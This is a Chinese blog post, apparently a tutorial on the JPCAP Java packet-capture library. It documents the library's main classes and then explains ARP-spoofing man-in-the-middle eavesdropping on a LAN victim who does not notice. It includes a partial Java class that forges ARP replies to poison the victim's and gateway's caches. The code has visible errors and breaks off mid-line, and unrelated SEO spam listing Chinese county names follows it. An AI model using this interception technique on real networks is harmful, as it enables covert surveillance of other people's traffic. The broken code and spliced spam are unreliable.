posts - 0, comments - 77, trackbacks - 0, articles - 356
            BlogJava :: 首頁 :: 新隨筆 :: 聯(lián)系 :: 聚合  :: 管理
          一. JPCAP 簡介
          眾所周知,JAVA語言雖然在TCP/UDP傳輸方面給予了良好的定義,但對于網(wǎng)絡(luò)層以下的控制,卻是無能為力的。JPCAP擴(kuò)展包彌補(bǔ)了這一點(diǎn)。
          JPCAP實(shí)際上并非一個(gè)真正去實(shí)現(xiàn)對數(shù)據(jù)鏈路層的控制,而是一個(gè)中間件,JPCAP調(diào)用wincap/libpcap,而給JAVA語言提供一個(gè)公共的接口,從而實(shí)現(xiàn)了平臺(tái)無關(guān)性。在官方網(wǎng)站上聲明,JPCAP支持FreeBSD 3.x, Linux RedHat 6.1, Fedora Core 4, Solaris, and Microsoft Windows 2000/XP等系統(tǒng)。
          二. JPCAP 機(jī)制
                 JPCAP的整個(gè)結(jié)構(gòu)大體上跟wincap/libpcap是很相像的,例如NetworkInterface類對應(yīng)wincaptypedef struct _ADAPTER  ADAPTERgetDeviceList()對應(yīng)pcap_findalldevs()等等。 JPCAP有16個(gè)類,下面就其中最重要的4個(gè)類做說明。
           
          1. NetworkInterface
          該類的每一個(gè)實(shí)例代表一個(gè)網(wǎng)絡(luò)設(shè)備,一般就是網(wǎng)卡。這個(gè)類只有一些數(shù)據(jù)成員,除了繼承自java.lang.Object的基本方法以外,沒有定義其它方法。
           
          數(shù)據(jù)成員
          NetworkInterfaceAddress[]
          addresses
              這個(gè)接口的網(wǎng)絡(luò)地址。設(shè)定為數(shù)組應(yīng)該是考慮到有些設(shè)備同時(shí)連接多條線路,例如路由器。但我們的PC機(jī)的網(wǎng)卡一般只有一條線路,所以我們一般取addresses[0]就夠了。
           java.lang.String
          datalink_description .
              數(shù)據(jù)鏈路層的描述。描述所在的局域網(wǎng)是什么網(wǎng)。例如,以太網(wǎng)(Ethernet)、無線LAN網(wǎng)(wireless LAN)、令牌環(huán)網(wǎng)(token ring)等等。
           java.lang.String
          datalink_name
             該網(wǎng)絡(luò)設(shè)備所對應(yīng)數(shù)據(jù)鏈路層的名稱。具體來說,例如Ethernet10M、100M、1000M等等。
           java.lang.String
          description
             網(wǎng)卡是XXXX牌子XXXX型號(hào)之類的描述。例如我的網(wǎng)卡描述:Realtek RTL8169/8110 Family Gigabit Ethernet NIC
           boolean
          Loopback
              標(biāo)志這個(gè)設(shè)備是否loopback設(shè)備。
           byte[]
          mac_address
              網(wǎng)卡的MAC地址,6個(gè)字節(jié)。
           java.lang.String
          Name
              這個(gè)設(shè)備的名稱。例如我的網(wǎng)卡名稱:\Device\NPF_{3CE5FDA5-E15D-4F87-B217-255BCB351CD5}
           
          2. JpcapCaptor
          該類提供了一系列靜態(tài)方法實(shí)現(xiàn)一些基本的功能。該類一個(gè)實(shí)例代表建立了一個(gè)與指定設(shè)備的鏈接,可以通過該類的實(shí)例來控制設(shè)備,例如設(shè)定網(wǎng)卡模式、設(shè)定過濾關(guān)鍵字等等。
           
          數(shù)據(jù)成員
           int
          dropped_packets 
          拋棄的包的數(shù)目。
          protected  int
          ID
              這個(gè)數(shù)據(jù)成員在官方文檔中并沒有做任何說明,查看 JPCAP 源代碼可以發(fā)現(xiàn)這個(gè) ID 實(shí)際上在其 JNI C 代碼部分傳進(jìn)來的,這類本身并沒有做出定義,所以是供其內(nèi)部使用的。實(shí)際上在對 JpcapCator 實(shí)例的使用中也沒有辦法調(diào)用此數(shù)據(jù)成員。
          protected static boolean[]
          instanciatedFlag
             同樣在官方文檔中沒有做任何說明,估計(jì)其為供內(nèi)部使用。
          protected static int
          MAX_NUMBER_OF_INSTANCE
          同樣在官方文檔中沒有做任何說明,估計(jì)其為供內(nèi)部使用。
          int
          received_packets
                  
          收到的包的數(shù)目
          方法成員
          static NetworkInterface[]
          getDeviceList ()
                    
          返回一個(gè)網(wǎng)絡(luò)設(shè)備列表。
          static JpcapCaptor
          openDevice (NetworkInterface interface, int snaplen, boolean promisc, int to_ms)
                  
          創(chuàng)建一個(gè)與指定設(shè)備的連接并返回該連接。注意,以上兩個(gè)方法都是靜態(tài)方法。
                Interface :要打開連接的設(shè)備的實(shí)例;
                Snaplen :這個(gè)是比較容易搞混的一個(gè)參數(shù)。其實(shí)這個(gè)參數(shù)不是限制只能捕捉多少數(shù)據(jù)包,而是限制每一次收到一個(gè)數(shù)據(jù)包,只提取該數(shù)據(jù)包中前多少字節(jié);
                Promisc :設(shè)置是否混雜模式。處于混雜模式將接收所有數(shù)據(jù)包,若之后又調(diào)用了包過濾函數(shù) setFilter() 將不起任何作用;
                To_ms :這個(gè)參數(shù)主要用于 processPacket() 方法,指定超時(shí)的時(shí)間;
           void
          Close ()
                    
          關(guān)閉調(diào)用該方法的設(shè)備的連接,相對于openDivece()打開連接。
           JpcapSender
          getJpcapSenderInstance ()
                   
          該返回一個(gè) JpcapSender 實(shí)例, JpcapSender 類是專門用于控制設(shè)備的發(fā)送數(shù)據(jù)包的功能的類。
           Packet
          getPacket ()
                    
          捕捉并返回一個(gè)數(shù)據(jù)包。這是 JpcapCaptor 實(shí)例中四種捕捉包的方法之一。
           int
          loopPacket (int count, PacketReceiver handler)
                   
          捕捉指定數(shù)目的數(shù)據(jù)包,并交由實(shí)現(xiàn)了 PacketReceiver 接口的類的實(shí)例處理,并返回捕捉到的數(shù)據(jù)包數(shù)目。如果 count 參數(shù)設(shè)為- 1 ,那么無限循環(huán)地捕捉數(shù)據(jù)。
                這個(gè)方法不受超時(shí)的影響。還記得 openDivice() 中的 to_ms 參數(shù)么?那個(gè)參數(shù)對這個(gè)方法沒有影響,如果沒有捕捉到指定數(shù)目數(shù)據(jù)包,那么這個(gè)方法將一直阻塞等待。
          PacketReceiver 中只有一個(gè)抽象方法 void receive(Packet p)
           int
          processPacket (int count, PacketReceiver handler)
                    
          loopPacket () 功能一樣,唯一的區(qū)別是這個(gè)方法受超時(shí)的影響,超過指定時(shí)間自動(dòng)返回捕捉到數(shù)據(jù)包的數(shù)目。
           int
          dispatchPacket (int count, PacketReceiver handler)
                  
          processPacket () 功能一樣,區(qū)別是這個(gè)方法可以處于“non-blocking”模式工作,在這種模式下dispatchPacket()可能立即返回,即使沒有捕捉到任何數(shù)據(jù)包。
           void
          setFilter (java.lang.String condition, boolean optimize)
                    .
          condition 設(shè)定要提取的包的關(guān)鍵字。
                 Optimize :這個(gè)參數(shù)在說明文檔以及源代碼中都沒有說明,只是說這個(gè)參數(shù)如果為真,那么過濾器將處于優(yōu)化模式。
           void
          setNonBlockingMode (boolean nonblocking)
               如果值為“ true ”,那么設(shè)定為“ non-blocking ”模式。
           void
          breakLoop ()
               當(dāng)調(diào)用 processPacket() loopPacket() 后,再調(diào)用這個(gè)方法可以強(qiáng)制讓 processPacket() loopPacket() 停止。
           
          3. JpcapSender
          該類專門用于控制數(shù)據(jù)包的發(fā)送。
           
          方法成員
           void
          close ()
                   
          強(qiáng)制關(guān)閉這個(gè)連接。
          static JpcapSender
          openRawSocket ()
               這個(gè)方法返回的 JpcapSender 實(shí)例發(fā)送數(shù)據(jù)包時(shí)將自動(dòng)填寫數(shù)據(jù)鏈路層頭部分。
           void
          sendPacket (Packet packet)
                    JpcapSender
          最重要的功能,發(fā)送數(shù)據(jù)包。需要注意的是,如果調(diào)用這個(gè)方法的實(shí)例是由 JpcapCaptor getJpcapSenderInstance () 得到的話,需要自己設(shè)定數(shù)據(jù)鏈路層的頭,而如果是由上面的openRawSocket() 得到的話,那么無需也不能設(shè)置,數(shù)據(jù)鏈路層的頭部將由系統(tǒng)自動(dòng)生成。
           
          4. Packet
          這個(gè)是所有其它數(shù)據(jù)包類的父類。Jpcap所支持的數(shù)據(jù)包有:
          ARPPacketDatalinkPacketEthernetPacketICMPPacketIPPacketTCPPacketUDPPacket
           
          三.使用JPCAP 實(shí)現(xiàn)監(jiān)聽
                 1 .監(jiān)聽原理
                 在詳細(xì)說用JPCAP實(shí)現(xiàn)網(wǎng)絡(luò)監(jiān)聽實(shí)現(xiàn)前,先簡單介紹下監(jiān)聽的原理。
                 局域網(wǎng)監(jiān)聽利用的是所謂的“ARP欺騙”技術(shù)。在以前曾經(jīng)一段階段,局域網(wǎng)的布局是使用總線式(或集線式)結(jié)構(gòu),要到達(dá)監(jiān)聽只需要將網(wǎng)卡設(shè)定為混雜模式即可,但現(xiàn)在的局域網(wǎng)絡(luò)普遍采用的是交換式網(wǎng)絡(luò),所以單純靠混雜模式來達(dá)到監(jiān)聽的方法已經(jīng)不可行了。所以為了達(dá)到監(jiān)聽的目的,我們需要“欺騙”路由器、“欺騙”交換機(jī),即“ARP欺騙”技術(shù)。
                 假設(shè)本機(jī)為A,監(jiān)聽目標(biāo)為B。
          首先,偽造一個(gè)ARP REPLY包,數(shù)據(jù)鏈路層頭及ARP內(nèi)容部分的源MAC地址填入A的MAC地址,而源IP部分填入網(wǎng)關(guān)IP,目的地址填入B的MAC、IP,然后將這個(gè)包發(fā)送給B,而B接收到這個(gè)偽造的ARP REPLY包后,由于源IP為網(wǎng)關(guān)IP,于是在它的ARP緩存表里刷新了一項(xiàng),將(網(wǎng)關(guān)IP,網(wǎng)關(guān)MAC)刷新成(網(wǎng)關(guān)IP,A的MAC)。而B要訪問外部的網(wǎng)都需要經(jīng)過網(wǎng)關(guān),這時(shí)候這些要經(jīng)過網(wǎng)關(guān)的包就通通流到A的機(jī)器上來了。
          接著,再偽造一個(gè)ARP REPLY包,數(shù)據(jù)鏈路層頭及ARP內(nèi)容部分的源MAC地址填入A的MAC地址,而源IP部分填入B的IP,目的地址填入網(wǎng)關(guān)MAC、IP,然后將這個(gè)包發(fā)給網(wǎng)關(guān),網(wǎng)關(guān)接收到這個(gè)偽造的ARP REPLY包后,由于源IP為B的IP,于是在它的ARP緩存表里刷新了一項(xiàng),將(B的IP,B的MAC)刷新成(B的IP,A的MAC)。這時(shí)候外部傳給B的數(shù)據(jù)包經(jīng)過網(wǎng)關(guān)時(shí),就通通轉(zhuǎn)發(fā)給A。
          這樣還只是攔截了B的數(shù)據(jù)包而已,B并不能上網(wǎng)——解決方法是將接收到的包,除了目的地址部分稍做修改,其它原封不動(dòng)的再轉(zhuǎn)發(fā)出去,這樣就達(dá)到了監(jiān)聽的目的——在B不知不覺中瀏覽了B所有的對外數(shù)據(jù)包。
           
          ARP 數(shù)據(jù)包解析
          單元: Byte
          Ethernet 頭部
          ARP 數(shù)據(jù)部分
          2
          2
          2
          2
          目標(biāo) MAC 地址
          源地 MAC 地址
          類型號(hào) 0x0800:ip
          0x0806:ARP
          局域網(wǎng)類型
          以太網(wǎng) 0x0001
          網(wǎng)絡(luò)協(xié)議類型
          IP 網(wǎng)絡(luò) 0x0800
          MAC/IP 地址長度,恒為 0x06/04
          ARP 包類型
          REPLY
          0x0002
          ARP 目標(biāo) IP 地址
          ARP 目標(biāo) MAC 地址
          ARP IP 地址
          ARP MAC 地址
           
          2 .用JPCAP 實(shí)現(xiàn)監(jiān)聽
                 就如上面說的,為了實(shí)現(xiàn)監(jiān)聽,我們必須做四件事:
          A.發(fā)送ARP包修改B的ARP緩存表;
          B.發(fā)送ARP包修改路由ARP緩存表;
          C.轉(zhuǎn)發(fā)B發(fā)過來的數(shù)據(jù)包;
          D.轉(zhuǎn)發(fā)路由發(fā)過來的數(shù)據(jù)包;
           
          下面我們給個(gè)小小的例子說明怎樣實(shí)現(xiàn)。
          我們假定運(yùn)行這個(gè)程序的機(jī)器A只有一個(gè)網(wǎng)卡,只接一個(gè)網(wǎng)絡(luò),所在局域網(wǎng)為Ethernet,并且假定已經(jīng)通過某種方式獲得B和網(wǎng)關(guān)的MAC地址(例如ARP解析獲得)。我們修改了B和網(wǎng)關(guān)的ARP表,并對他們的包進(jìn)行了轉(zhuǎn)發(fā)。
          public class changeARP{
                   private NetworkInterface[] devices;                           // 設(shè)備列表
                   private NetworkInterface device;                               // 要使用的設(shè)備
                   private JpcapCaptor jpcap;                                        // 與設(shè)備的連接
                   private JpcapSender sender;                                       // 用于發(fā)送的實(shí)例
                   private byte[] targetMAC, gateMAC;                       //B MAC 地址,網(wǎng)關(guān)的 MAC 地址
                   private byte[] String targetIp, String gateIp;              //B IP 地址,網(wǎng)關(guān)的 IP 地址
                   /**
                   * 初始化設(shè)備
                   * JpcapCaptor.getDeviceList() 得到設(shè)備可能會(huì)有兩個(gè),其中一個(gè)必定是“ Generic
          *dialup adapter ”, 這是 windows 系統(tǒng)的虛擬網(wǎng)卡,并非真正的硬件設(shè)備。
          * 注意:在這里有一個(gè)小小的 BUG ,如果 JpcapCaptor.getDeviceList() 之前有類似 JFrame jf=new
          *JFame ()這類的語句會(huì)影響得到設(shè)備個(gè)數(shù),只會(huì)得到真正的硬件設(shè)備,而不會(huì)出現(xiàn)虛擬網(wǎng)卡。
          * 虛擬網(wǎng)卡只有 MAC 地址而沒有 IP 地址,而且如果出現(xiàn)虛擬網(wǎng)卡,那么實(shí)際網(wǎng)卡的 MAC 將分
          * 配給虛擬網(wǎng)卡,也就是說在程序中調(diào)用 device. mac_address 時(shí)得到的是 00 00 00 00 00 00
                   */
                   private NetworkInterface getDevice() throws IOException {
                            devices = JpcapCaptor.getDeviceList();                                                 // 獲得設(shè)備列表
                             device = devices[0];                                                                                // 只有一個(gè)設(shè)備
                             jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000);             // 打開與設(shè)備的連接
                             jpcap.setFilter(“ip”,true);                                                                       // 只監(jiān)聽 B IP 數(shù)據(jù)包
                             sender = captor.getJpcapSenderInstance();
                   }
                   /**
                   * 修改 B 和網(wǎng)關(guān)的 ARP 表。因?yàn)榫W(wǎng)關(guān)會(huì)定時(shí)發(fā)數(shù)據(jù)包刷新自己和 B 的緩存表,所以必須每隔一
                   * 段時(shí)間就發(fā)一次包重新更改 B 和網(wǎng)關(guān)的 ARP 表。
                   *@ 參數(shù) targetMAC           B MAC 地址,可通過 ARP 解析得到;
                   *@ 參數(shù) targetIp                 B IP 地址;
                   *@ 參數(shù) gateMAC              網(wǎng)關(guān)的 MAC 地址;
                   *@ 參數(shù) gateIp                     網(wǎng)關(guān)的 IP;
                   */
                   public changeARP(byte[] targetMAC, String targetIp,byte[] gateMAC, String gateIp)
                                      throws UnknownHostException,InterruptedException {
                             this. targetMAC =  targetMAC;
                             this. targetIp =  targetIp;
                             this. gateMAC = gateMAC;
                             this. gateIp = gateIp;
                             getDevice();
                             arpTarget = new ARPPacket();                                                     // 修改 B ARP 表的 ARP
                             arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER;          // 選擇以太網(wǎng)類型 (Ethernet)
                             arpTarget.prototype = ARPPacket.PROTOTYPE_IP;                // 選擇 IP 網(wǎng)絡(luò)協(xié)議類型
                             arpTarget.operation = ARPPacket.ARP_REPLY;                         // 選擇 REPLY 類型
                             arpTarget.hlen = 6;                                                                        //MAC 地址長度固定 6 個(gè)字節(jié)
                             arpTarget.plen = 4;                                                                        //IP 地址長度固定 4 個(gè)字節(jié)
                             arpTarget.sender_hardaddr = device.mac_address;                       //A MAC 地址
                             arpTarget.sender_protoaddr = InetAddress.getByName(gateIp).getAddress();       // 網(wǎng)關(guān) IP
                             arpTarget.target_hardaddr = targetMAC;      
          主站蜘蛛池模板: 万载县| 高青县| 南召县| 容城县| 迁安市| 苏尼特左旗| 焦作市| 临沭县| 韶关市| 揭阳市| 嵊泗县| 穆棱市| 视频| 涪陵区| 夏邑县| 古田县| 文安县| 中江县| 宁安市| 两当县| 泌阳县| 宣威市| 油尖旺区| 龙州县| 深泽县| 连城县| 道孚县| 和政县| 宁城县| 通山县| 绵竹市| 桑日县| 同德县| 定日县| 和平区| 稻城县| 永寿县| 恩施市| 宜春市| 芮城县| 赤水市|